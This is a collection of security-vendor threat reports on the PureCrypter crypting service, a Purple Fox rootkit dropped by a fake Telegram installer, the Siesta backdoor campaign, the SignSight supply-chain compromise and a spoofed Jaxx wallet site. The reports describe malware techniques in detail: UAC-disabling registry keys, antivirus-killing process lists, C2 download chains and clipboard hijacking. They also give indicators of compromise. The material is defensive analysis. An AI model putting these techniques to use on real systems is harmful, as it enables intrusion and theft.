New Yorker* that the information being targeted by the group bears more than a passing resemblance to China's five-year plan for modernizing its infrastructure. Once businesses have identified the group behind an attack, or used new intelligence to identify previously unidentified attacks that were successful as well as what was stolen, what happens next? According to Alperovitch, "if you want to work with the government, we can help with that as well, on our services side," which is headed by Shawn Henry, whose prior job was serving as the executive assistant director of the FBI's criminal, cyber, response, and services branch. "Or you take the attribution and take legal action against that individual or the company," he said. "A lot of companies are multinationals, so you can actually sue them in the United States—or in a jurisdiction of your choosing overseas, and get criminal damages or injunctive relief for stolen information." Alperovitch said that when it comes to responding to hack attacks, there can be strength in numbers: "If you're one company going up against China, you're going to be afraid of retaliation, of your business being shut out of China. But if you're in a band of 20 or 30 Fortune 100 companies, China can't really retaliate; it needs them all." "Ultimately we'll only solve this problem together, not individually trying to build castles to protect ourselves," said Alperovitch. "That model hasn't worked in the physical world in over 400 years, and certainly not in cyberspace."
# .NET Stubs: Sowing the Seeds of Discord The BlackBerry Research & Intelligence Team Update 05.27.22: An unknown APT group is targeting Russian government entities with at least four separate spear-phishing campaigns since the beginning of the Ukraine conflict. Source: Security Affairs. Earlier this year, as the rest of the world was just beginning to turn a concerned eye to unsettling military actions in Ukraine, the security industry’s attention was trained on malicious cyber activity in the country. When the WhisperGate wiper was discovered – a multi-staged malicious wiper disguised as ransomware – researchers dug in to see what we could learn about the techniques used by its authors, and what it could teach us about the threat landscape in general. In this post, we’ll retrace our steps down a surprising rabbit hole that was revealed while examining this momentous malware. We’ll discuss what we found, and what it can tell us about the methods threat actors are finding useful to accomplish their nefarious actions. Analysis of the WhisperGate malware wiper targeting Ukraine in early 2022 first shone a light on using a Microsoft Intermediate Language (MSIL) stub as a delivery mechanism for the malware, which was abusing the Discord content delivery network (CDN). When we investigated these stubs further and looked for others like them, we found them to be used in the delivery of a far larger array of commodity .NET-based malware. ## Whispers in the Wind We’ve covered details regarding WhisperGate in a previous blog, which provides a more extensive breakdown into the third and fourth stages of the wiper. What stood out to us, in the course of conducting that research into the final stages of the malware, was the MSIL stub used in the delivery of the third stage of the malware that was first noted by ESET Research. To put it simply, these stubs are components of small Windows® executable files that act as downloaders for a subsequent main payload. The .NET framework includes individual compilers for various programming languages, such as VB.NET, and C#. An MSIL stub is created after the compilation of source code by these different .NET compilers, which can then be used across any environment. This main payload that this stub delivers is typically commodity .NET malware, such as Agent Tesla and QuasarRAT among others. While WhisperGate appeared to use the service that created this stub on only one occasion, we wanted to dive a little further into it and see why this method in particular is being used to deliver so many common .NET-based malware families. ## Dissecting the Stub The WhisperGate stub itself is quite rudimentary; aside from a download function, it also sports junk strings, junk code, and other relatively simple attempts at obfuscation. The main work of a stub is done by retrieving the function DownloadData, or in some cases GetByteArrayAsync, using the .NET inbuilt function GetMethod to resolve the specified function call dynamically. While this may not seem like a big deal, the name of the function to be resolved is often interspersed with a specific character, or set of characters, to obfuscate the function name. For example, a function like DownloadData would be obfuscated with character replacement such as DxownxloxadDxatxxax. Upon execution, this would be replaced inline to revert the function to its original form to perform its intended task. Once the method has been resolved, it then downloads the file at the specified plaintext and hardcoded command-and-control (C2) URL. We observed evidence of the Discord CDN being abused heavily within our data set of files using this stub template, but occasionally saw other IPs and domains used as well. Another interesting feature we noted is that the stub used by WhisperGate has been obfuscated with a tool called NetReactor, though it appears WhisperGate only used a small subset of the features that the NetReactor tool boasts. We decided to test a version of NetReactor to see if the string obfuscation we observed with the resolved functions was a feature of the packer. It was here that the rabbit hole got deeper. We found that string obfuscation was not a feature, which meant that a separately maintained tool or service was used to create these stubs. ## Digging Into Discord CDN Abuse Discord is a large communications platform that is widely used in gaming circles. It is comprised of topic-based channels where people can communicate over text, voice-chat, and video calls. They may even share files. These files are kept on Discord's CDN servers. Threat actors can easily abuse the Discord CDN service to host their malware, which gives them the added benefit of blending in with typical, benign traffic on a network. This abuse has been documented as far back as October 2019, and it has been previously described by many other researchers, notably Sophos. With over 140 million monthly users at the time of writing this blog, and an easy-to-use file hosting and sharing mechanism, Discord has been an enticing prospect for abuse by threat actors. An analysis by RiskIQ noted that a large portion of the stub payloads have links that were formatted as follows: `hxxps://cdn.discordapp[.]com/attachments/[Channel_ID]/[Attachment_ID]/[file-name]` In fact, querying VirusTotal for any files that contain the domain "cdn.discordapp.com" and which have over 50+ positive hits for malware, returns a staggering 36,600 samples. ## PureCrypter While the stubs can differ in their overall make-up, they all have defining features within the download function that bind them together in a way that identifies them as (most likely) having been made by the same service. For example, the use of the DownloadData and GetByteArrayAsync functions, the manner in which they are resolved, and the particular style that’s used to obfuscate each function name, all point to their being created by the same service. This similarity also includes how frequently Discord is used as the delivery platform. Yet another lead presented itself when we saw the term “PureCrypter” referenced within one of the binaries gathered from our hunting efforts. PureCrypter, as the name suggests, is a “crypting” service that can be found on the dark web, as well as in known hacking forums. In this context, crypting is the act of obfuscating or encrypting a binary through several means, to prevent detection by scanning solutions. A term we often see in relation to these crypting services is “FUD,” which is short for “Fully Un-Detected.” PureCrypter advertises that they do a FUD check every four hours – meaning that they check their obfuscation against existing security solutions, to see whether they’re still “fully undetected” – in order to try keep ahead of defenders. A hacking forum user that goes by the alias of PureCoder has been advertising and actively promoting the PureCrypter solution since at least September of 2021. PureCrypter can be purchased on PureCoder’s website along with other illicit cyber-offerings such as: - **PureMiner** – A silent miner that can be used either to spread itself, or other bots, to automatically mine Ethereum or Bitcoin into the malware operator’s wallet. - **PureClipper** – A silent and hidden clipper that detects and replaces a victim’s crypto addresses with those belonging to the malware operator. - **Discord Worm Mass DM** – Sends mass direct messages (DMs), and creates a payload.exe that is used for stealing tokens. - **AsyncRAT fixed plugin** – Fixes errors in AsyncRAT plugins. - **RAT Base Source code C#** – C# source code for those that are working with RATs (remote access Trojans). It offers FUD and claims to have a clean detection rate at 0/26 antivirus (AV) products identifying it as malware. It also boasts a small binary size at 176KB, and it claims to be better than any other RAT available on GitHub, due to its clean detection rate. The PureCrypter solution offers three different purchase options. The tool features offered are the same for all three; the only difference is in the length of time the tool is available for the purchaser to use it, as illustrated in the table below. The threat actors accept payment in Bitcoin, Litecoin, Bitcoin Cash, or Monero. | Price | Duration | |---------------|------------| | $59.00 | 30 days | | $109.00 | 90 days | | $245.00 | Lifetime | - Stub daily updated - .NET and Native support - Inject 32bit and 64bit - Command line - Time-stamp - Exclusion region - Hardened name - Crypter killer - Memory bombing - Anti-file delete - Anti-sample submission - Discord and Telegram execution notification - Icon, assembly, and certificate cloner - Advanced injection - Fake message box - Three startup techniques - Scanner - Binder - Delay - Free Macro excel builder and downloader PureCrypter boasts several additional features such as binary obfuscation, Microsoft® Excel® macro builders, and downloader stub creation. While we won’t cover everything that the program is capable of, some of the options that can be set at runtime can be seen in the user interface. So far, we have a dataset of related samples, and we have a dark web crypter. The question is, how do they relate? We found the answer by identifying a command line argument, and seeing metadata of the samples at scale. PureCrypter has additional functionality that can be seen when you run the tool with the “autocrypt” parameter. This shows a “Notification” pane to which execution and infection notifications can be sent, either by a Discord webhook or Telegram bot notification. When we take a topological view of the features we have discussed so far, and apply them to our dataset of similar stub files, we can see several places where they overlap: - In addition to the payload download, multiple stubs contacted Telegram Bot API URLs. - In addition to the payload download, multiple stubs contacted Discord webhooks. - Multiple stubs had Excel macro execution as a delivery mechanism. We can say with a high degree of confidence that the stubs in our sample set were created via PureCrypter. Now that we’ve ascertained the origin of the stubs, let’s look at the variety of malware that uses PureCrypter’s services. The following graphic displays a breakdown of the various malware families that were seen to be delivered as the final stage payload during our investigation. As shown, Agent Tesla made up the largest portion of our sample set, at 34.44%. The second most prevalent family was Snake Keylogger, at 15.89%, closely followed by Ave Maria, at 11.92%. While the samples we have aren’t categorical, it’s certainly interesting to note which families have appeared most in our hunting. ## Timeline of Use The diagram displays a loose timeline of when each malware family appeared in the wild in 2022. ## Conclusions January 2022 was significant on the threat landscape due to the appearance of the malware wiper dubbed WhisperGate. This made headlines because of its targeting Ukraine’s private sector and government agencies. As we analyzed WhisperGate samples, we were led to the unique MSIL stub that was used as the delivery mechanism to download the next stage payload. Using open-source intelligence techniques combined with some threat hunting, we were able to obtain additional files and attribute them to specific campaigns by various other threat actors. During this investigation we kept wondering how these downloader files were created. Surely, there was some sort of "as-a-Service" tool being used, perhaps offered on the dark web. We were able to get more specific in our findings when we identified references to the term "PureCrypter" in our dataset. Upon further investigation of PureCrypter, we found that it offered a variety of features that aligned with what we have seen thus far. If threat actors are using this crypter to achieve their nefarious goals, it means that this tool is doing exactly what they expected. By shining a light on this tool and associated campaigns, as an industry together, we have uncovered what they tried to hide. ## About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.
# Malicious Telegram Installer Drops Purple Fox Rootkit We have often observed threat actors using legitimate software for dropping malicious files. This time, however, is different. This threat actor was able to leave most parts of the attack under the radar by separating the attack into several small files, most of which had very low detection rates by AV engines, with the final stage leading to Purple Fox rootkit infection. Thanks to the MalwareHunterTeam, we were able to dig deeper into the malicious Telegram Installer. This installer is a compiled AutoIt script called “Telegram Desktop.exe”: This AutoIt script is the first stage of the attack which creates a new folder named “TextInputh” under `C:\Users\Username\AppData\Local\Temp\` and drops a legitimate Telegram installer (which is not even executed) and a malicious downloader (`TextInputh.exe`). ## TextInputh.exe When executed, `TextInputh.exe` creates a new folder named “1640618495” under the `C:\Users\Public\Videos\` directory. `TextInputh.exe` file is used as a downloader for the next stage of the attack. It contacts a C&C server and downloads two files to the newly created folder: 1. `1.rar` – which contains the files for the next stage. `7zz.exe` – a legitimate 7z archiver. 2. The `7zz.exe` is used to unarchive `1.rar`, which contains the following files: Next, `TextInputh.exe` performs the following actions: - Copies `360.tct` with “360.dll” name, `rundll3222.exe` and `svchost.txt` to the ProgramData folder. - Executes `ojbk.exe` with the “ojbk.exe -a” command line. - Deletes `1.rar` and `7zz.exe` and exits the process. ## ojbk.exe When executed with the “-a” argument, this file is only used to reflectively load the malicious `360.dll` file. This DLL is responsible for reading the dropped `svchost.txt` file. After which, a new `HKEY_LOCAL_MACHINE\SYSTEM\Select\MarkTime` registry key is created, whose value equals the current time of `svchost.exe` and then, the `svchost.txt` payload is executed. ## svchost.txt As the attack flow continues, this file appears to contain the byte code of the next stage of the malicious payload executed by the `360.dll`. As the first action of `svchost.txt`, it checks for the existence of the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe\Path` registry key. If the registry key is found, the attack flow will perform an additional step before moving on to the next stage: The attack drops five more files into the ProgramData folder: - `Calldriver.exe` – this file is used to shut down and block initiation of 360 AV. - `Driver.sys` – after this file is dropped, a new system driver service named “Driver” is created and started on the infected PC and `bmd.txt` is created in the ProgramData folder. - `dll.dll` – executed after UAC bypass. The UAC bypass technique used by `svchost.txt` is a “UAC bypass using CMSTPLUA COM interface” and is well described here. This technique is commonly used by the LockBit and BlackMatter ransomware authors. The `dll.dll` is executed with the “C:\ProgramData\dll.dll, luohua” command line. - `kill.bat` – a batch script which is executed after the file drop ends. - `speedmem2.hg` - SQLite file. All these files work together to shut down and block the initiation of 360 AV processes from the kernel space, thus allowing the next stage attack tools (Purple Fox Rootkit, in our case) to run without being detected. After the file drop and execution, the payload moves to the next step, which is the C&C communication. As mentioned above, if the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe\Path` registry key is not found, the flow just skips to this step. First, the hardcoded C&C address is added as a mutex. Next, the following victim’s information is gathered: 1. Hostname 2. CPU – by retrieving a value of `HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz` registry key 3. Memory status 4. Drive Type 5. Processor Type – by calling `GetNativeSystemInfo` and checking the value of `wProcessorArchitecture`. Next, the malware checks if any of the following processes are running on the victim’s PC: - `360tray.exe` – 360 Total Security - `360sd.exe` - 360 Total Security - `kxetray.exe` - Kingsoft Internet Security - `KSafeTray.exe` - Kingsoft Internet Security - `QQPCRTP.exe` - Tencent - `HipsTray.exe` - HeroBravo System Diagnostics - `BaiduSd.exe` - Baidu Anti-Virus - `baiduSafeTray.exe` - Baidu Anti-Virus - `KvMonXP.exe` - Jiangmin Anti-Virus - `RavMonD.exe` - Rising Anti-Virus - `QUHLPSVC.EXE` - Quick Heal Anti-Virus - `mssecess.exe` – Microsoft MSE - `cfp.exe` – COMODO Internet Security - `SPIDer.exe` - `acs.exe` - `V3Svc.exe` - AhnLab V3 Internet Security - `AYAgent.aye` – ALYac Software - `avgwdsvc.exe` - AVG Internet Security - `f-secure.exe` - F-Secure Anti-Virus - `avp.exe` - Kaspersky Anti-Virus - `Mcshield.exe` – McAfee Anti-Virus - `egui.exe` - ESET Smart Security - `knsdtray.exe` - `TMBMSRV.exe` - Trend Micro Internet Security - `avcenter.exe` - Avira Anti-Virus - `ashDisp.exe` – Avast Anti-Virus - `rtvscan.exe` - Symantec Anti-Virus - `remupd.exe` - Panda software - `vsserv.exe` - Bitdefender Total Security - `PSafeSysTray.exe` - PSafe System Tray - `ad-watch.exe` - `K7TSecurity.exe` - K7Security Suite - `UnThreat.exe` - UnThreat Anti-Virus It seems that after this check is complete, all the collected information, including which security products are running, is sent to the C&C server. At the time of the investigation, the C&C server was already down, but a quick check of the IP address and other related files all indicate that the last stage of this attack is the download and execution of the Purple Fox Rootkit. Purple Fox uses the `msi.dll` function, `MsiInstallProductA`, to download and execute its payload. The payload is a .msi file that contains encrypted shellcode including 32-bit and 64-bit versions. Once executed, the system will be restarted with the `PendingFileRenameOperations` registry to rename its components. ## Dll.dll This DLL is only used for disabling UAC by setting the three following registry keys to 0: - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` - `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop` ## Calldriver.exe Used to shut down and block initiation of 360 AV processes from the kernel space. The technique used is described here under “The ProcessKiller rootkit vs. security products.” We found a large number of malicious installers delivering the same Purple Fox rootkit version using the same attack chain. It seems like some were delivered via email, while others we assume were downloaded from phishing websites. The beauty of this attack is that every stage is separated into a different file which are useless without the entire file set. This helps the attacker protect his files from AV detection. ## Mitigation Minerva Labs detects malicious process relationships and prevents the malware from writing and executing malicious payloads. ## IOC’s: ### Hashes: - `41769d751fa735f253e96a02d0cccadfec8c7298666a4caa5c9f90aaa826ecd1` - Telegram Desktop.exe - `BAE1270981C0A2D595677A7A1FEFE8087B07FFEA061571D97B5CD4C0E3EDB6E0` - TextInputh.exe - `af8eef9df6c1f5645c95d0e991d8f526fbfb9a368eee9ba0b931c0c3df247e41` – legitimate telegram installer - `797a8063ff952a6445c7a32b72bd7cd6837a3a942bbef01fc81ff955e32e7d0c` - 1.rar - `07ad4b984f288304003b080dd013784685181de4353a0b70a0247f96e535bd56` – 7zz.exe - `26487eff7cb8858d1b76308e76dfe4f5d250724bbc7e18e69a524375cee11fe4` - 360.tct - `b5128b709e21c2a4197fcd80b072e7341ccb335a5decbb52ef4cee2b63ad0b3e` - ojbk.exe - `405f03534be8b45185695f68deb47d4daf04dcd6df9d351ca6831d3721b1efc4` - rundll3222.exe – legitimate rundll32.exe - `0937955FD23589B0E2124AFEEC54E916` - svchost.txt - `e2c463ac2d147e52b5a53c9c4dea35060783c85260eaac98d0aaeed2d5f5c838` - Calldriver.exe - `638fa26aea7fe6ebefe398818b09277d01c4521a966ff39b77035b04c058df60` - Driver.sys - `4bdfa7aa1142deba5c6be1d71c3bc91da10c24e4a50296ee87bf2b96c731b7fa` – dll.dll - `24BCBB228662B91C6A7BBBCB7D959E56` – kill.bat - `599DBAFA6ABFAF0D51E15AEB79E93336` - speedmem2.hg ### IP’s: - `193.164.223[.]77` – second stage C&C server. - `144.48.243[.]79` – last stage C&C server. ### Url’s - `hxxp://193.164.223[.]77:7456/h?=1640618495` – contains 1.rar file - `hxxp://193.164.223[.]77:7456/77` – contains 7zz.exe file - `hxxp://144.48.243[.]79:17674/C558B828.Png` – Purple Fox Rootkit ### Resources: - [malpedia.caad.fkie.fraunhofer.de/details/win.purplefox](https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox)
# The Siesta Campaign: A New Targeted Attack Awakens In the past few weeks, we have received several reports of targeted attacks that exploited various application vulnerabilities to infiltrate various organizations. Similar to the Safe Campaign, the campaigns we noted went seemingly unnoticed and under the radar. The attackers orchestrating the campaign we call the Siesta Campaign used multi-component malware to target certain institutions that fall under the following industries: - Consumer goods and services - Energy - Finance - Healthcare - Media and telecommunications - Public administration - Security and defense - Transport and traffic Threat actors don’t always rely on complex attack vectors to infiltrate an organization’s network. Attackers can also make use of basic social engineering techniques for their victims to take the bait, such as in our case study below. ## The Siesta Campaign: A Case Study We are currently investigating an incident that involved attackers sending out spear-phishing emails addressed to executives of an undisclosed company. These emails were sent from spoofed email addresses of personnel within the organization. Instead of using attachments and document exploits, this specific campaign served their malware through a legitimate-looking file download link. To lure the target into downloading the file, the attacker serves the archive under a URL path named after the target organization’s name as cited below: `http://{malicious domain}/{organization name}/{legitimate archive name}.zip` This archive contains an executable (TROJ_SLOTH) disguised as a PDF document. When executed, it drops and opens a valid PDF file, which was most probably taken from the target organization’s website. Along with this valid PDF file, another malicious component is also dropped and executed in the background. This backdoor component is named google{BLOCKED}.exe. (Due to the ongoing investigation, we are unfortunately unable to share hashes and filenames at this time.) This backdoor connects to `http://www.micro{BLOCKED}.com/index.html`, which are its command-and-control (C&C) servers. Trend Micro identifies these samples as BKDR_SLOTH.B. At this point, the malware begins waiting for additional commands from the attacker. The encrypted commands that are accepted are: - **Sleep:** Commands the backdoor to sleep for a specified number of minutes. We have received a sleep command of “sleep:120” during our analysis which means that the malware will wait for 2 hours before establishing a connection again to the C&C server. - **Download:** `<download_url>` Commands the backdoor to download and execute a file (most probably another Win32 executable) from a specified URL. The C&C servers used in this campaign are found to be newly registered and also short-lived, making it difficult for us to track the malware's behavior. Based on our research, we found 2 variants of the malware used in this campaign. Although not exactly alike, the behaviors are nearly identical. One of the similar samples is a file named Questionaire Concerning the Spread of Superbugs February 2014.exe (SHA1: 014542eafb792b98196954373b3fd13e60cb94fe). This sample drops the file UIODsevr.exe, its backdoor component which behaves similarly as BKDR_SLOTH.B with the addition of communicating to its C&C at skys{BLOCKED}com. These samples are identified by Trend Micro as BKDR_SLOTH.A. Both variants excessively use Sleep calls, which renders the malware dormant for varying periods of time, hence the campaign name "Siesta" (which means to take a short nap in Spanish). Commands are being served through HTML pages using different keywords as listed below: - Variant 1 prefix: “>SC<” - Variant 2 prefix: “longDesc=” suffix: “.txt” Listed below are the backdoor commands we were able to see from our analysis: - **Variant 1** - “run1” – open a remote shell - “run2” – pipe shell commands from URL1 - “run3” – pipe shell commands from URL2 - “http” – pipe shell commands from C2 - “x_” – sleep for specified number of minutes - **Variant 2** - “sleep:” – sleep for specified number of minutes - “download:” – download and execute another executable from C2 ## Attribution Attribution of campaigns and attack methods can often be difficult. We were able to identify this new campaign through inspecting hashes, C&Cs, registrants, commands, and additional information. During the course of our investigation into this new campaign, we investigated the malware dropped. We quickly noticed the registrant of sky{BLOCKED}.com is also the same registrant as micro{BLOCKED}.com and ifued{BLOCKED}.net. This individual used the name Li Ning and others with an email address of xiaomao{BLOCKED}@163.com. This individual also recently registered 79 additional domains. There are a total of roughly 17,000 domains registered with this same email address. ## Conclusion Early detection is crucial in preventing targeted attacks from exfiltrating confidential company data. Organizations and large enterprises need an advanced threat protection platform like Trend Micro™ Deep Discovery, which can mitigate the risks posed by targeted attacks through its various security technologies and global threat intelligence. At the heart of our Custom Defense solution is Deep Discovery which provides real-time local and global intelligence across the attack life cycle. This can help IT administrators understand the nature of the attack they are dealing with. Trend Micro blocks all related threats, emails, and URLs associated with these attacks. As always, we advise users to exercise caution when opening emails and links.
# Operation SignSight: Supply-Chain Attack Against a Certification Authority in Southeast Asia ESET researchers have uncovered a supply-chain attack on the website of a government in Southeast Asia. Just a few weeks after the supply-chain attack on the Able Desktop software, another similar attack occurred on the website of the Vietnam Government Certification Authority (VGCA): ca.gov.vn. The attackers modified two of the software installers available for download on this website and added a backdoor in order to compromise users of the legitimate application. ESET researchers uncovered this new supply-chain attack in early December 2020 and notified the compromised organization and the VNCERT. We believe that the website has not been delivering compromised software installers as of the end of August 2020, and ESET telemetry data does not indicate the compromised installers being distributed anywhere else. The Vietnam Government Certification Authority confirmed that they were aware of the attack before our notification and that they notified the users who downloaded the trojanized software. ## Supply-Chain Attack in Vietnam In Vietnam, digital signatures are very common, as digitally-signed documents have the same level of enforceability as “wet” signatures. According to Decree No. 130/2018, the cryptographic certificates used to sign documents must be granted by one of the authorized certificate providers that include the VGCA, which is part of the Government Cipher Committee. That committee, in turn, depends on the Ministry of Information and Communication. In addition to issuing certificates, the VGCA develops and distributes a digital signature toolkit. It is used by the Vietnamese government, and probably by private companies, to sign digital documents. The compromise of a certification authority website is a good opportunity for APT groups, since visitors are likely to have a high level of trust in a state organization responsible for digital signatures. According to ESET telemetry, ca.gov.vn was compromised from at least the 23rd of July to the 16th of August 2020. Two of the installers available for download, gca01-client-v2-x32-8.3.msi and gca01-client-v2-x64-8.3.msi, were modified to include a piece of malware known as PhantomNet or SManager and recently analyzed by NTT Security. We were able to confirm that those installers were downloaded from ca.gov.vn over the HTTPS protocol, so we believe it is unlikely to be a man-in-the-middle attack. The URLs pointing to malicious installers were: - `https://ca.gov.vn/documents/20182/6768590/gca01-client-v2-x64-8.3.msi` - `https://ca.gov.vn/documents/20182/6768590/gca01-client-v2-x32-8.3.msi` This is also confirmed by data from VirusTotal. The trojanized installers are not properly signed, but we noticed that clean GCA installers are also incorrectly signed. Both the official and trojanized MSIs use a certificate assigned to the Safenet company. Once downloaded and executed, the installer starts the genuine GCA program and the malicious file. The malicious file is written to `C:\Program Files\VGCA\Authentication\SAC\x32\eToken.exe`. By also installing the legitimate program, the attackers make sure that this compromise won’t be easily noticed by the end-users. This malicious file is a simple dropper that extracts a Windows cabinet file (.cab) named 7z.cab and that contains the backdoor. If the dropper runs as an admin, the backdoor is written to `C:\Windows\apppatch\netapi32.dll` and for persistence, the dropper registers the malicious DLL as a service. If run as a regular user, the backdoor is written to `%TEMP%\Wmedia\<GetTickCount>.tmp` and for persistence, the dropper creates a scheduled task that calls the export entry of the malicious DLL. ## PhantomNet The backdoor was named Smanager_ssl.DLL by its developers but we use PhantomNet, as that was the project name used in an older version of this backdoor. This most recent version was compiled on the 26th of April 2020, almost two months before the supply-chain attack. In addition to Vietnam, we have seen victims in the Philippines, but unfortunately, we did not uncover the delivery mechanism in those cases. This backdoor is quite simple and most of the malicious capabilities are likely deployed through additional plugins. It can retrieve the victim’s proxy configuration and use it to reach out to the command and control (C&C) server. This shows that the targets are likely to be working in a corporate network. PhantomNet uses the HTTPS protocol to communicate with its hardcoded C&C servers: `vgca.homeunix.org` and `office365.blogdns.com`. In order to prevent a man-in-the-middle attack, PhantomNet implements certificate pinning, using functions from the SSPI library. The certificate is downloaded during the first connection with the C&C server and then stored in the Windows certificate store. The implant can be controlled by the attackers using these five commands: | Command ID | Description | |--------------|-----------------------------------------------------------------------------| | 0x00110020 | Get victim information (computer name, hostname, username, OS version, user privileges, and the public IP address). | | 0x00110030 | Call the export DeletePluginObject of all installed plugins. | | 0x00110040 | Plugin management (install, remove, update). | | 0x00110070 | Set a value of a given field in the main structure of the backdoor. | | 0x547CBA78 | Generate and set a password using the SSPI functions. | On VirusTotal, we found one plugin that matches the exports above. It is a debug build and is named SnowballS according to its PDB path and other debug paths. An initial, cursory analysis suggests that this tool might be used for lateral movement, as it embeds Invoke-Mimikatz. It can also collect information about the victim machine and user accounts. This shows that PhantomNet can receive additional and complex plugins that are probably only deployed on machines of particular interest to the malware operators. In the case of the attack in Vietnam, we were not able to recover data about post-compromise activity and thus we don’t have visibility into the end goal of the attackers. ## Conclusion With the compromise of Able Desktop, the attack on WIZVERA VeraPort by Lazarus, and the recent supply-chain attack on SolarWinds Orion, we see that supply-chain attacks are a quite common compromise vector for cyberespionage groups. In this specific case, they compromised the website of a Vietnamese certificate authority, in which users are likely to have a high level of trust. Supply-chain attacks are typically hard to find, as the malicious code is generally hidden among a lot of legitimate code, making its discovery significantly more difficult. For any inquiries, contact us at [email protected]. Indicators of Compromise can also be found in our GitHub repository. ## IoCs ### Files | SHA-1 | ESET detection name | Description | |-------------------------------------------------------------------|------------------------------------------|-----------------------------------------------| | 5C77A18880CF58DF9FBA102DD8267C3F369DF449 | Win32/TrojanDropper.Agent.SJQ | Trojanized installer (gca01-client-v2-x64-8.3.msi) | | B0E4E9BB6EF8AA7A9FCB9C9E571D8162B1B2443A | Win32/TrojanDropper.Agent.SJQ | Trojanized installer (gca01-client-v2-x32-8.3.msi) | | 9522F369AC109B03E6C16511D49D1C5B42E12A44 | Win32/TrojanDropper.Agent.SJQ | PhantomNet dropper | | 989334094EC5BA8E0E8F2238CDF34D5C57C283F2 | Win32/PhantomNet.B | PhantomNet | | 5DFC07BB6034B4FDA217D96441FB86F5D43B6C62 | Win32/PhantomNet.A | PhantomNet plugin | ### C&C Servers - `office365.blogdns.com` - `vgca.homeunix.org` ## MITRE ATT&CK | Tactic | ID | Name | Description | |-----------------|-------------------|-------------------------------------------|-----------------------------------------------| | Initial Access | T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Attackers modified the installer of the GCA01 software that is hosted on ca.gov.vn and added a backdoor to the MSI installer. | | Execution | T1204.002 | User Execution: Malicious File | The victim needs to manually execute the trojanized installer. | | Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | If the user doesn’t have admin privileges, PhantomNet persists via a scheduled task. | | | T1543.003 | Create or Modify System Process: Windows Service | If the user has admin privileges, PhantomNet persists via a Windows service. | | Discovery | T1033 | System Owner/User Discovery | PhantomNet implements a function to retrieve the username. | | | T1082 | System Information Discovery | PhantomNet implements a function to retrieve the OS version. | | Command and Control | T1090.001 | Proxy: Internal Proxy | PhantomNet can retrieve the proxy configuration of the default browser and use it to connect to the C&C server. | | | T1071.001 | Application Layer Protocol: Web Protocols | PhantomNet uses HTTPS. | | | T1573.002 | Encrypted Channel: Asymmetric Cryptography | PhantomNet can add a certificate to the Windows store and use it for certificate pinning for its HTTPS communications. |
# Jaxx Liberty Wallet Users Targeted in Malware Campaign **Malware Campaign Targeting Jaxx Cryptocurrency Wallet Users Shut Down** A website spoofing the official Jaxx cryptocurrency wallet site has been taken down after analysts at Flashpoint discovered a number of infections linked to the operation. The phony site had a similar URL to the legitimate jaxx.io site and was serving a number of custom and commodity strains of malware with the end goal of emptying Jaxx users’ wallets. Jaxx is a popular cryptocurrency wallet that has been downloaded more than 1.2 million times on desktop and mobile platforms, according to a blog published on the Jaxx site in March. Jaxx Liberty, the latest version of the wallet, supports Bitcoin, Ethereum, and more than a dozen other cryptocurrencies. Flashpoint analysts earlier this month notified Jaxx support teams as well as the Cloudflare content delivery network. Cloudflare took steps to suspend services to the spoofed site, which was a line-by-line copy of the actual Jaxx site that included modifications made to the download links, redirecting those to an attacker-controlled server. It should be noted that this is primarily a social engineering attack and does not involve a vulnerability in the Jaxx application, website, or other domains owned by Decentral, a Canadian blockchain startup that provides Jaxx. It’s unclear how the attackers were luring victims to the spoofed Jaxx site, whether they were relying on poisoned search engine results, phishing via email or chat applications, or other means to infect victims. ## Focus on Windows, Mac Desktop Users The start date for this campaign figures to be Aug. 19 when the fraudulent domain was created. The attackers were targeting Windows and Mac OS X users with a variety of malware developed for the desktop platforms. Anyone who clicked on the mobile downloads were redirected to the legitimate Jaxx website. Visitors to the fraudulent website would likely believe they were on the legitimate Jaxx page since the attackers went to the trouble of installing the legitimate wallet software onto victims’ computers while malware silently installed in the background. Visitors clicking on the fraudulent links for the Mac OS X software were presented with a custom-built malicious Java Archive (JAR) file. The fraudulent Windows software link downloaded a custom-written .NET application, which contained not only malicious behavior (such as exfiltrating all of the victim’s desktop files to a command-and-control [C2] server), but also downloaded KPOT Stealer and Clipper, both of which are marketed on underground Russian-language cybercrime sites. The Mac OS JAR file is programmed in PHP and compiled using a Russian language IDE called DevelNext. The Jaxx branding throughout the code indicates the malware was developed solely for this campaign. Victims executing the JAR see a message in Russian and English: “Temporarily due to technical problems on the server, you cannot create a new wallet.” Victims are then routed to the “PAIR / RESTORE WALLET” screen which prompts them for their Jaxx wallet backup phrase — a password used to decrypt wallets in order for the attackers to exfiltrate the digital currency from the victim’s account. The backup phrase is then exfiltrated to the attacker’s web server while the victim receives another mixed Russian and English-language error message that states, “Server is not available. Try again in 4 hours.” Victims on Windows who execute the malicious link download a Zip archive called LibertyBeta-setup-2.0.9.zip from a Google Docs URL. Like the Mac OS X JAR, the malicious .NET binary was likely created specifically for this campaign. The malware reaches out to the command-and-control server where all of the local .txt, .doc, and .xls files are uploaded. The phony application then downloads three executables from hardcoded URLs: the official Liberty Beta installer, and KPOT, which steals information from the local hard drive, as well as Clipper, which monitors the clipboard for digital wallet addresses; once an address is found, it is swapped out for a wallet address controlled by the attacker. By changing these addresses in the clipboard, victims may not notice the modified recipient after copying and pasting these long alphanumeric addresses while sending payments. ## Assessment This malware campaign indicates that cybercriminals may go to great lengths to socially engineer an organization’s customers into installing malware to ultimately steal digital currency. It’s likely cybercriminals will continue to leverage commodity malware kits offered for sale in underground hacking forums to steal credentials and/or digital currency from victims.
